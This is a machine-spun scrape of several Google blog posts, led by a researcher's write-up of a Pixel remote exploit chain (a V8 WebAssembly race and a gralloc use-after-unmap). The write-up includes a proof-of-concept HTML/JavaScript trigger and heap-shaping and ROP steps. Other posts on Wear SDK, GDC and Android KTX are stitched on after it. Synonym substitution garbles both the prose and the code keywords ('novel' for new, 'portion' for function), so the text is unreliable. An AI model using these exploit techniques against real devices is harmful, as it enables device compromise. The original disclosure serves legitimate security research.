Wednesday, October 24, 2018

Android Safety Ecosystem Investments Pay Dividends For Pixel

Android Safety Ecosystem Investments Pay Dividends For Pixel

Posted past times Mayank Jain in addition to Scott Roberts of the Android Security team

In June 2017, the Android safety squad increased the top payouts for the Android Security Rewards (ASR) plan in addition to worked amongst researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the commencement working remote exploit chain since the ASR program's expansion. For his detailed report, Gong was awarded $105,000, which is the highest vantage inwards the history of the ASR plan in addition to $7500 past times Chrome Rewards program for a total of $112,500. The consummate laid of issues was resolved equally portion of the December 2017 monthly safety update. Devices amongst the safety patch marker of 2017-12-05 or afterward are protected from these issues.

All Pixel devices or partner devices using A/B (seamless) arrangement updates volition automatically install these updates; users must restart their devices to consummate the installation.

The Android Security squad would similar to give cheers Guang Gong in addition to the researcher community for their contributions to Android security. If you'd similar to participate inwards Android Security Rewards program, banking concern check out our Program rules. For tips on how to submit reports, run across Bug Hunter University.

The next article is a invitee weblog ship authored past times Guang Gong of Alpha team, Qihoo 360 Technology Ltd.

Technical details of a Pixel remote exploit chain

The Pixel telephone is protected past times many layers of security. It was the alone device that was non pwned inwards the CVE-2017-5116 is a V8 engine põrnikas that is used to larn remote code execution inwards sandboxed Chrome homecoming process. CVE-2017-14904 is a põrnikas inwards Android's libgralloc module that is used to escape from Chrome's sandbox. Together, this exploit chain tin endure used to inject arbitrary code into system_server past times accessing a malicious URL inwards Chrome. To reproduce the exploit, an event vulnerable environs is Chrome 60.3112.107 + Android 7.1.2 (Security patch marker 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). 

The RCE põrnikas (CVE-2017-5116)

New features commonly convey novel bugs. V8 6.0 introduces back upward for SharedArrayBuffer, a low-level machinery to portion retention betwixt JavaScript workers in addition to synchronize command menstruation across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, in addition to futexes. WebAssembly is a novel type of code that tin endure run inwards modern spider web browsers— it is a low-level assembly-like linguistic communication amongst a compact binary format that runs amongst near-native performance in addition to provides languages, such equally C/C++, amongst a compilation target thence that they tin run on the web. By combining the iii features, SharedArrayBuffer WebAssembly, in addition to spider web worker inwards Chrome, an OOB access tin endure triggered through a race condition. Simply speaking, WebAssembly code tin endure lay into a SharedArrayBuffer in addition to and thence transferred to a spider web worker. When the nous thread parses the WebAssembly code, the worker thread tin modify the code at the same time, which causes an OOB access.

The buggy code is inwards the portion GetFirstArgumentAsBytes where the declaration args may endure an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may endure backed past times a SharedArraybuffer, thence the content of the TypedArray may endure modified past times other worker threads at whatever time.

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(     const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {   ......   } else if (source->IsTypedArray()) {    //--->source should endure checked if it's backed past times a SharedArrayBuffer     // H5N1 TypedArray was passed.     Local<TypedArray> array = Local<TypedArray>::Cast(source);     Local<ArrayBuffer> buffer = array->Buffer();     ArrayBuffer::Contents contents = buffer->GetContents();     start =         reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();     length = array->ByteLength();   }    ......   homecoming i::wasm::ModuleWireBytes(start, start + length); } 

H5N1 unproblematic PoC is equally follows:

<html> <h1>poc</h1> <script id="worker1"> worker:{        self.onmessage = function(arg) {         console.log("worker started");         var ta = novel Uint8Array(arg.data);         var i =0;         while(1){             if(i==0){                 i=1;                 ta[51]=0;   //--->4)modify the webassembly code at the same fourth dimension             }else{                 i=0;                 ta[51]=128;             }         }     } } </script> <script> portion getSharedTypedArray(){     var wasmarr = [         0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,         0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,         0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,         0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,         0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,         0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,         0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];     var sb = novel SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code inwards a SharedArrayBuffer     var sta = novel Uint8Array(sb);     for(var i=0;i<sta.length;i++)         sta[i]=wasmarr[i];     homecoming sta;     } var blob = novel Blob([         document.querySelector('#worker1').textContent         ], { type: "text/javascript" })  var worker = novel Worker(window.URL.createObjectURL(blob));   //---> 2)create a spider web worker var sta = getSharedTypedArray(); worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the spider web worker setTimeout(function(){         while(1){         try{         sta[51]=0;         var myModule = novel WebAssembly.Module(sta);          //--->4)parse the WebAssembly code         var myInstance = novel WebAssembly.Instance(myModule);         //myInstance.exports.getAnswerPlus1();         }catch(e){         }         }     },1000);  //worker.terminate();  </script> </html> 

The text format of the WebAssembly code is equally follows:

00002b func[0]: 00002d: 41 2a                      | i32.const 42 00002f: 0b                         | terminate 000030 func[1]: 000032: 10 00                      | telephone telephone 0 000034: 41 01                      | i32.const 1 000036: 6a                         | i32.add 000037: 0b                         | terminate 

First, the inwards a higher house binary format WebAssembly code is lay into a SharedArrayBuffer, in addition to thence a TypedArray Object is created, using the SharedArrayBuffer equally buffer. After that, a worker thread is created in addition to the SharedArrayBuffer is passed to the newly created worker thread. While the nous thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race status causes a TOCTOU issue. After the nous thread's boundary check, the teaching " telephone telephone 0" tin endure modified past times the worker thread to "call 128" in addition to and thence endure parsed in addition to compiled past times the nous thread, thence an OOB access occurs.

Because the "call 0" Web Assembly teaching tin endure modified to telephone telephone whatever other Web Assembly functions, the exploitation of this põrnikas is straightforward. If "call 0" is modified to "call $leak", registers in addition to stack contents are dumped to Web Assembly memory. Because portion 0 in addition to portion $leak own got a dissimilar number of arguments, this results inwards many useful pieces of information inwards the stack beingness leaked.

 (func $leak(param i32 i32 i32 i32 i32 i32)(result i32)     i32.const 0     get_local 0     i32.store     i32.const iv     get_local 1     i32.store     i32.const 8     get_local 2     i32.store     i32.const 12     get_local 3     i32.store     i32.const xvi     get_local iv     i32.store     i32.const twenty     get_local v     i32.store     i32.const 0   )) 

Not alone the teaching "call 0" tin endure modified, whatever "call funcx" teaching tin endure modified. Assume funcx is a wasm portion amongst 6 arguments equally follows, when v8 compiles funcx inwards ia32 architecture, the commencement v arguments are passed through the registers in addition to the 6th declaration is passed through stack. All the arguments tin endure laid to whatever value past times JavaScript:

/*Text format of funcx*/  (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)     get_local v     get_local iv     i32.add)  /*Disassembly code of funcx*/ --- Code --- variety = WASM_FUNCTION holler = wasm#1 compiler = turbofan Instructions (size = 20) 0x58f87600     0  8b442404       mov eax,[esp+0x4] 0x58f87604     iv  03c6           add together eax,esi 0x58f87606     6  c20400         ret 0x4 0x58f87609     nine  0f1f00         nop  Safepoints (size = 8)  RelocInfo (size = 0)  --- End code --- 

When a JavaScript portion calls a WebAssembly function, v8 compiler creates a JS_TO_WASM portion internally, after compilation, the JavaScript portion volition telephone telephone the created JS_TO_WASM portion in addition to and thence the created JS_TO_WASM portion volition telephone telephone the WebAssembly function. JS_TO_WASM functions usage dissimilar telephone telephone convention, its commencement arguments is passed through stack. If "call funcx" is modified to telephone telephone the next JS_TO_WASM function.

/*Disassembly code of JS_TO_WASM portion */ --- Code --- variety = JS_TO_WASM_FUNCTION holler = js-to-wasm#0 compiler = turbofan Instructions (size = 170) 0x4be08f20     0  55             force ebp 0x4be08f21     1  89e5           mov ebp,esp 0x4be08f23     3  56             force esi 0x4be08f24     iv  57             force edi 0x4be08f25     v  83ec08         sub esp,0x8 0x4be08f28     8  8b4508         mov eax,[ebp+0x8] 0x4be08f2b     b  e8702e2bde     telephone telephone 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN 0x4be08f30    10  a801           bear witness al,0x1 0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42> 

The JS_TO_WASM portion volition accept the 6th arguments of funcx equally its commencement argument, but it takes its commencement declaration equally an object pointer, thence type confusion volition endure triggered when the declaration is passed to the ToNumber function, which agency nosotros tin travel past times whatever values equally an object pointer to the ToNumber function. So nosotros tin mistaken an ArrayBuffer object inwards some address such equally inwards a double array in addition to travel past times the address to ToNumber. The layout of an ArrayBuffer is equally follows:

/* ArrayBuffer layouts forty Bytes*/                                                                                                                          Map                                                                                                                                                        Properties                                                                                                                                                 Elements                                                                                                                                                   ByteLength                                                                                                                                                 BackingStore                                                                                                                                               AllocationBase                                                                                                                                             AllocationLength                                                                                                                                           Fields                                                                                                                                                     internal                                                                                                                                                   internal                                                                                                                                                                                                                                                                                                         /* Map layouts 44 Bytes*/                                                                                                                                    static kMapOffset = 0,                                                                                                                                     static kInstanceSizesOffset = 4,                                                                                                                           static kInstanceAttributesOffset = 8,                                                                                                                      static kBitField3Offset = 12,                                                                                                                              static kPrototypeOffset = 16,                                                                                                                              static kConstructorOrBackPointerOffset = 20,                                                                                                               static kTransitionsOrPrototypeInfoOffset = 24,                                                                                                             static kDescriptorsOffset = 28,                                                                                                                            static kLayoutDescriptorOffset = 1,                                                                                                                        static kCodeCacheOffset = 32,                                                                                                                              static kDependentCodeOffset = 36,                                                                                                                          static kWeakCellCacheOffset = 40,                                                                                                                          static kPointerFieldsBeginOffset = 16,                                                                                                                     static kPointerFieldsEndOffset = 44,                                                                                                                       static kInstanceSizeOffset = 4,                                                                                                                            static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,                                                                                            static kUnusedOffset = 6,                                                                                                                                  static kVisitorIdOffset = 7,                                                                                                                               static kInstanceTypeOffset = 8,     //one byte                                                                                                             static kBitFieldOffset = 9,                                                                                                                                static kInstanceTypeAndBitFieldOffset = 8,                                                                                                                 static kBitField2Offset = 10,                                                                                                                              static kUnusedPropertyFieldsOffset = xi 

Because the content of the stack tin endure leaked, nosotros tin larn many useful information to mistaken the ArrayBuffer. For example, nosotros tin leak the start address of an object, in addition to calculate the start address of its elements, which is a FixedArray object. We tin usage this FixedArray object equally the faked ArrayBuffer's properties in addition to elements fields. We own got to mistaken the map of the ArrayBuffer too, luckily, most of the fields of the map are non used when the põrnikas is triggered. But the InstanceType inwards offset 8 has to endure laid to 0xc3(this value depends on the version of v8) to dot this object is an ArrayBuffer. In companionship to larn a reference of the faked ArrayBuffer inwards JavaScript, nosotros own got to laid the Prototype plain of Map inwards offset xvi to an object whose Symbol.toPrimitive holding is a JavaScript telephone telephone dorsum function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the telephone telephone dorsum portion volition endure called, thence nosotros tin larn a reference of the faked ArrayBuffer inwards the telephone telephone dorsum function. Because the ArrayBuffer is faked inwards a double array, the content of the array tin endure laid to whatever value, thence nosotros tin alter the plain BackingStore in addition to ByteLength of the faked array buffer to larn arbitrary retention read in addition to write. With arbitrary retention read/write, executing shellcode is simple. As JIT Code inwards Chrome is readable, writable in addition to executable, nosotros tin overwrite it to execute shellcode.

Chrome squad fixed this põrnikas real chop-chop inwards chrome 61.0.3163.79, merely a calendar week after I submitted the exploit.

The EoP Bug (CVE-2017-14904)

The sandbox escape põrnikas is caused past times map in addition to unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is inwards the functions gralloc_map in addition to gralloc_unmap:

static int gralloc_map(gralloc_module_t const* module,                        buffer_handle_t handle) { ……     private_handle_t* hnd = (private_handle_t*)handle;     ……     if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&         !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {         size = hnd->size;         err = memalloc->map_buffer(&mappedAddress, size,                                        hnd->offset, hnd->fd);        //---> mapped an ashmem in addition to larn the mapped address. the ashmem fd in addition to offset tin endure controlled past times Chrome homecoming process.         if(err || mappedAddress == MAP_FAILED) {             ALOGE("Could non mmap grip %p, fd=%d (%s)",                   handle, hnd->fd, strerror(errno));             homecoming -errno;         }         hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> salvage mappedAddress+offset to hnd->base     } else {         err = -EACCES; } ……     homecoming err; } 

gralloc_map maps a graphic buffer controlled past times the arguments grip to retention infinite in addition to gralloc_unmap unmaps it. While mapping, the mappedAddress summation hnd->offset is stored to hnd->base, but piece unmapping, hnd->base is passed to arrangement telephone telephone unmap direct minus the offset. hnd->offset tin endure manipulated from a Chrome's sandboxed process, thence it's possible to unmap whatever pages inwards system_server from Chrome's sandboxed homecoming process.

static int gralloc_unmap(gralloc_module_t const* module,                          buffer_handle_t handle) {   ……     if(hnd->base) {         err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> piece unmapping, hnd->offset is non used, hnd->base is used equally the base of operations address, map in addition to unmap are mismatched.         if (err) {             ALOGE("Could non unmap retention at address %p, %s", (void*) hnd->base,                     strerror(errno));             homecoming -errno;         }         hnd->base = 0; } ……     homecoming 0; }  int IonAlloc::unmap_buffer(void *base, unsigned int size,         unsigned int /*offset*/)                               //---> look, offset is non used past times unmap_buffer {     int err = 0;     if(munmap(base, size)) {         err = -errno;         ALOGE("ion: Failed to unmap retention at %p : %s",               base, strerror(errno));     }     homecoming err; } 

Although SeLinux restricts the domain isolated_app to access most of Android arrangement service, isolated_app tin even thence access iii Android arrangement services.

52neverallow isolated_app { 53    service_manager_type 54    -activity_service 55    -display_service 56    -webviewupdate_service 57}:service_manager find; 

To trigger the aforementioned Use-After-Unmap põrnikas from Chrome's sandbox, commencement lay a GraphicBuffer object, which is parseable into a bundle, in addition to and thence telephone telephone the binder method convertToTranslucent of IActivityManager to travel past times the malicious packet to system_server. When system_server handles this malicious bundle, the põrnikas is triggered.

This EoP põrnikas targets the same assail surface equally the põrnikas inwards our 2016 MoSec presentation, Bitunmap, except exploiting it from a sandboxed Chrome homecoming procedure is to a greater extent than hard than from an app. 

To exploit this EoP bug:

1. Address infinite shaping. Make the address infinite layout await equally follows, a heap chunk is correct inwards a higher house some continuous ashmem mapping:

7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc] 7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted) ...... 

2. Unmap portion of the heap (1 KB) in addition to portion of an ashmem retention (2MB–1KB) past times triggering the bug:

7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc] //--->There is a 2MB retention gap 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted) 

3. Fill the unmapped infinite amongst an ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)   //--->The gap is filled amongst the ashmem retention 360alpha1001 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted) 

4. Spray the heap in addition to the heap information volition endure written to the ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted) //--->the heap managing director believes the retention make from 0x7f547ff000 to 0x7f54800000 is even thence mongered past times it in addition to volition allocate retention from this range, consequence inwards heap information is written to ashmem retention 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted) 

5. Because the filled ashmem inwards measuring 3 is mapped both past times system_server in addition to homecoming process, portion of the heap of system_server tin endure read in addition to written past times homecoming procedure in addition to nosotros tin trigger system_server to allocate some GraphicBuffer object inwards ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a fellow member named mutual whose type is android_native_base_t, nosotros tin read 2 portion points (incRef in addition to decRef) from ashmem retention in addition to and thence tin calculate the base of operations address of the module libui. In the latest Pixel device, Chrome's homecoming procedure is even thence 32-bit procedure but system_server is 64-bit process. So nosotros own got to leak some module's base of operations address for ROP. Now that nosotros own got the base of operations address of libui, the terminal measuring is to trigger ROP. Unluckily, it seems that the points incRef in addition to decRef haven't been used. It's impossible to modify it to boundary to ROP, but nosotros tin modify the virtual tabular array of GraphicBuffer to trigger ROP.

typedef struct android_native_base_t {     /* a magic value defined past times the actual EGL native type */     int magic;      /* the sizeof() of the actual EGL native type */     int version;      void* reserved[4];      /* reference-counting interface */     void (*incRef)(struct android_native_base_t* base);     void (*decRef)(struct android_native_base_t* base); } android_native_base_t; 

6.Trigger a GC to execute ROP

When a GraphicBuffer object is deconstructed, the virtual portion onLastStrongRef is called, thence nosotros tin supplant this virtual portion to boundary to ROP. When GC happens, the command menstruation goes to ROP. Finding an ROP chain inwards express module(libui) is challenging, but after hard work, nosotros successfully constitute i in addition to dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .

Summary

The Android safety squad responded chop-chop to our study in addition to included the cook for these 2 bugs inwards the December 2017 Security Update. Supported Google device in addition to devices amongst the safety patch marker of 2017-12-05 or afterward address these issues. While parsing untrusted parcels even thence happens inwards sensitive locations, the Android safety squad is working on hardening the platform to mitigate against similar vulnerabilities.

The EoP põrnikas was discovered cheers to a articulation endeavor betwixt 360 Alpha Team in addition to 360 C0RE Team. Thanks real much for their effort.

Android Vesture Sdk Together With Emulator Update

Posted past times Hoi Lam, Lead Developer Advocate, Android Wear
Today nosotros launched the latest version of the Android Wear SDK (2.2.0) amongst several picket confront related enhancements. These include the add-on of an unread notification indicator for all picket faces, which is planned to live business office of the upcoming consumer unloosen of Android Wear. With the Wear SDK 2.2.0, you lot tin customize the notification indicator or display your own. This characteristic is available to the developer community early, via the SDK too emulator, then you lot tin verify that the indicator fits the pattern of your picket face. In addition, nosotros are adding enhancements to the ComplicationDrawable degree too publishing the concluding version of the Wear emulator based on Android Oreo.

Introducing the unread notification indicator


Notification is a vital business office of the Wear experience. As a result, starting from the adjacent consumer unloosen of Wear (version 2.9.0), a dot-shaped indicator volition live displayed past times default at the bottom of the picket confront if at that spot are new, unread notifications. Watch confront developers tin preview the indicator amongst their picket faces past times using the latest version of the emulator. Developers tin customise the indicator's accent coloring via WatchFaceStyle.setAccentColor - the default coloring is white every bit shown inwards the event below, only developers tin laid the coloring for the band unopen to the point to an accent coloring of their choice, to gibe the residual of the picket face.
If the novel indicator does non fit amongst the pattern of your picket face, you lot tin switch it off using WatchFaceStyle.setHideNotificationIndicator too lead some other alternative for displaying the notification, including: 1) displaying the number of unread notifications inwards the organisation tray using WatchFaceStyle.setShowUnreadCountIndicator, or 2) getting the number of unread notifications using WatchFaceStyle.getUnreadCount too displaying the number inwards a means that fits your picket face's unique style.

Enhancement to ComplicationDrawable


We launched the ComplicationDrawable degree at lastly year's Google I/O, too nosotros are continuing to meliorate it. In this latest SDK release, nosotros added 2 enhancements:
  • Permission Handling - If the picket confront lacks the right permission to display the content of a complication, the complication type of TYPE_NO_PERMISSION is issued. ComplicationDrawable at i time handles this automatically too volition launch a permission asking inwards onTap. If you lot previously implemented your ain code to commencement the permission screen, delight banking concern check that the permission covert is non triggered twice and, if necessary, take away unneeded code.
  • Drawable Callback - If a complication contains an ikon or an icon, it tin accept a pocket-sized amount of fourth dimension to charge subsequently the other initial information arrives. Our previous recommendation thence was that you lot redraw the covert every second. But this is unnecessary for picket faces that alone update i time per minute, for example. As a result, nosotros cause got added novel back upward for Drawable.Callback to ComplicationDrawable. Developers who update the covert less oft than i time per 2nd should adopt this novel callback to redraw the picket confront when images cause got loaded.
For more, delight encounter the Android Wear Release Notes which includes other information regarding the emulator.

More improvements to come


Many of you lot cause got noticed a steady unloosen of enhancements to Android Wear over the lastly few months since the launch of Wear 2.0. We are developing many to a greater extent than for the months ahead too await frontwards to sharing to a greater extent than when the features are ready.



Bring Together Us For Google Developer Hateful Solar Daytime At Gdc 2018

Posted yesteryear Kacey Fahey, Developer Marketing, Google Play

We're hosting about other Google Developer Day at this year's Game Developers Conference (GDC) on Monday, March 19th.

Join us for a amount day, where we'll boot things off alongside a keynote to portion our latest word for game developers, followed yesteryear 3 sessions focused on invention & novel platforms, pre-launch best practices, as well as strategies to amend functioning post-launch. Each session volition include mini-talks from dissimilar Google teams as well as developer partners sharing novel tools, learnings as well as more.

We'll also convey a booth inwards Moscone South, Midweek (March 21) through Fri (March 23), offering 3 days of additional talks from many Google teams as well as a risk for you lot to inquire the experts whatever of your questions. Stop yesteryear to withdraw heed talks, come across experts, as well as crusade out exciting demos. These events are business office of the official Game Developers Conference as well as withdraw a top to attend.

Learn to a greater extent than well-nigh Google's activities throughout the calendar week on our event site where you lot tin sign up to remain informed. For those who can't acquire inwards in person, bring together the live stream starting at 10am PST on Monday, March 19th.

How useful did you lot discovery this blogpost?

★ ★ ★ ★ ★

Tuesday, October 23, 2018

How Nosotros Fought Bad Apps As Well As Malicious Developers Inwards 2017

Posted past times Andrew Ahn, Product Manager, Google Play

Apps convey devices to life -- letting yous volume a ride instantly, connect too percentage memories amongst friends, survive alerted nearly electrical flow events, play games amongst someone across the globe, too acquire move done inwards the constituent or on the road. Google Play is committed to providing a prophylactic sense for billions of Android users to uncovering too uncovering such apps. Over the years, this commitment has made Google Play a to a greater extent than trusted too safer place. Last twelvemonth we've to a greater extent than than halved the probability of a user installing a bad app, protecting people too their devices from harm's way, too making Google Play a to a greater extent than challenging house for those who seek to abuse the app ecosystem for their ain gain.

In 2017, nosotros took downwards to a greater extent than than 700,000 apps that violated the Google Play policies, 70% to a greater extent than than the apps taken downwards inwards 2016. Not alone did nosotros take away to a greater extent than bad apps, nosotros were able to position too activity against them earlier. In fact, 99% of apps amongst abusive contents were identified too rejected before anyone could install them. This was possible through meaning improvements inwards our mightiness to uncovering abuse - such equally impersonation, inappropriate content, or malware - through novel motorcar learning models too techniques.

We've also developed novel detection models too techniques that tin position repeat offenders too abusive developer networks at scale. This resulted inwards taking downwards of 100,000 bad developers inwards 2017, too made it to a greater extent than hard for bad actors to create novel accounts too displace to position out yet to a greater extent than or less other fix of bad apps.

Here are a few examples of bad apps nosotros took activity against inwards 2017:

Copycats

Attempting to deceive users past times impersonating famous apps is 1 of the most mutual violations. Famous titles acquire a lot of search traffic for item keywords, then the bad actors attempt to amass installs leveraging such traffic. They produce this past times trying to sneak inwards impersonating apps to the Play Store through deceptive methods such equally using confusable unicode characters or hiding impersonating app icons inwards a dissimilar locale. In 2017, nosotros took downwards to a greater extent than than a quarter of a 1000000 of impersonating apps.

Inappropriate content

We don't allow apps that comprise or promote inappropriate content, such equally pornography, extreme violence, hate, too illegal activities. The improved motorcar learning models sift through massive amounts of incoming app submissions too flag them for potential violations, aiding the human reviewers inwards effectively detecting too enforcing on the problematic apps. Tens of thousands of apps amongst inappropriate content were taken downwards concluding twelvemonth equally a termination of such improved detection methods.

Potentially Harmful Applications (PHAs)

PHAs are a type of malware that tin terms people or their devices -- e.g., apps that bear SMS fraud, deed equally trojans, or phishing user's information. While pocket-size inwards volume, PHAs pose a threat to Android users too nosotros invest heavily inwards keeping them out of the Play Store. Finding these bad apps is non-trivial equally the malicious developers become the extra mile to brand their app await equally legitimate equally possible, precisely amongst the launch of Google Play Protect inwards 2017, the average annual PHA installs rates on Google Play was reduced past times fifty percentage twelvemonth over year.

Despite the novel too enhanced detection capabilities that led to a record-high takedowns of bad apps too malicious developers, nosotros know a few nevertheless grapple to evade too play a joke on our layers of defense. We create got these extremely seriously, too volition conk along to nowadays our capabilities to improve uncovering too protect against abusive apps too the malicious actors behind them. We are committed to brand Google Play the most trusted too prophylactic app shop inwards the world.

How useful did yous uncovering this blogpost?

★ ★ ★ ★ ★

Android Developer Story: Big Fish Games Uses Opened Upwards Beta Testing To De-Risk Their Game Launch

Posted past times Kacey Fahey, Developer Marketing, Google Play

Based inwards Seattle, Big Fish Games was founded inwards 2002. Starting equally a game studio, they chop-chop turned into a major publisher too distributor of casual games. Leading upwards to the launch of their hitting fourth dimension management game, Cooking Craze, the squad ran an opened upwards beta on Google Play.

Big Fish Games establish that using opened upwards beta provided to a greater extent than than 10x the sum of user feedback from unopen to the world, too too gave them access to cardinal metrics too Android Vitals inwards the Play Console. The mightiness to monitor game functioning metrics pre-launch allowed the squad to focus on areas of improvement, which atomic number 82 to a 21% reduction inwards crash rate. The larger sample size of beta testers too provided to a greater extent than insights on thespian behaviour too helped arrive at a +7% improvement inwards twenty-four hr menses 1, twenty-four hr menses 7, too twenty-four hr menses xxx retentiveness rates.

You tin forcefulness out too larn to a greater extent than pre-launch best practices too strategies to better functioning post-launch at our Google Developer Day on Monday, March 19th at GDC. Sign up to remain informed.

How useful did you lot uncovering this blogpost?

★ ★ ★ ★ ★

Iot Developer Story: Deeplocal

Posted past times Dave Smith, Developer Advocate for IoT

Deeplocal is a Pittsburgh-based innovation studio that makes inventions every bit marketing to assistance the world's nearly loved brands say their stories. The squad at Deeplocal built several fun in addition to engaging robotics projects using Android Things. Leveraging the developer ecosystem surrounding the Android platform in addition to the compute ability of Android Things hardware, they were able to chop-chop in addition to easily create robots powered past times reckoner vision in addition to machine learning.

DrawBot

DrawBot is a DIY drawing robot that transforms your selfies into physical industrial plant of art.

"The Android Things platform helped us motion chop-chop from an idea, to prototype, to concluding product. Switching from proper substantive upwards apps to embedded code was slow inwards Android Studio, in addition to nosotros were able to line inwards OpenCV modules, motor drivers, in addition to other libraries every bit needed. The concluding version of our paradigm was created ii weeks later on unboxing our laid about Android Things developer kit."

- Brian Bourgeois, Producer, Deeplocal

Want to construct your ain DrawBot? See the Hackster.io project for all the origin code, schematics, in addition to 3D models.

HandBot

Influenza A virus subtype H5N1 robotic manus that learns in addition to reacts to manus gestures, HandBot visually recognizes gestures in addition to applies machine learning.

"The Android Things platform made integration endure for Handbot a breeze. Using TensorFlow, nosotros were able to educate a neural network to recognize manus gestures. Once this was created, nosotros were able to role Android Things drivers to implement games inwards easy-to-read Android code. In a affair of weeks, nosotros went from a fresh developer kit to competing against a robot manus inwards Rock, Paper, Scissors."

- Mike Derrick, Software Engineer, Deeplocal

Want to construct your ain HandBot? See the Hackster.io project for all the origin code, schematics, in addition to 3D models.

Visit the Google Hackster community to explore to a greater extent than inspiring ideas only similar these, in addition to bring together Google's IoT Developers Community on Google+ to acquire the latest platform updates, enquire questions, in addition to hash out ideas.

Introducing Android Ktx: Fifty-Fifty Sweeter Kotlin Evolution For Android

Posted yesteryear Jake Wharton (@JakeWharton), Florina Muntenescu (@FMuntenescu) & James Lau (@jmslau)

Today, nosotros are announcing the preview of Android KTX - a laid of extensions designed to brand writing Kotlin code for Android to a greater extent than concise, idiomatic, as well as pleasant. Android KTX provides a overnice API layer on top of both Android framework as well as Support Library to brand writing your Kotlin code to a greater extent than natural.

The portion of Android KTX that covers the Android framework is directly available inward our GitHub repo. We invite y'all to endeavor it out to give us your feedback as well as contributions. The other parts of Android KTX that encompass the Android Support Library volition last available inward upcoming Support Library releases.

Let's accept a aspect at roughly examples of how Android KTX tin deal y'all write to a greater extent than natural as well as concise Kotlin code.

Code Samples Using Android KTX

String to Uri

Let's start amongst this uncomplicated example. Normally, you'd telephone phone Uri.parse(uriString). Android KTX adds an extension portion to the String degree that allows y'all to convert strings to URIs to a greater extent than naturally.

Kotlin
Kotlin amongst Android KTX
val uri = Uri.parse(myUriString)
val uri = myUriString.toUri()

Edit SharedPreferences

Editing SharedPreferences is a really mutual purpose case. The code using Android KTX is slightly shorter as well as to a greater extent than natural to read as well as write.

Kotlin
Kotlin amongst Android KTX
sharedPreferences.edit()            .putBoolean(key, value)            .apply() 
sharedPreferences.edit {      putBoolean(key, value)  }    

Translating path difference

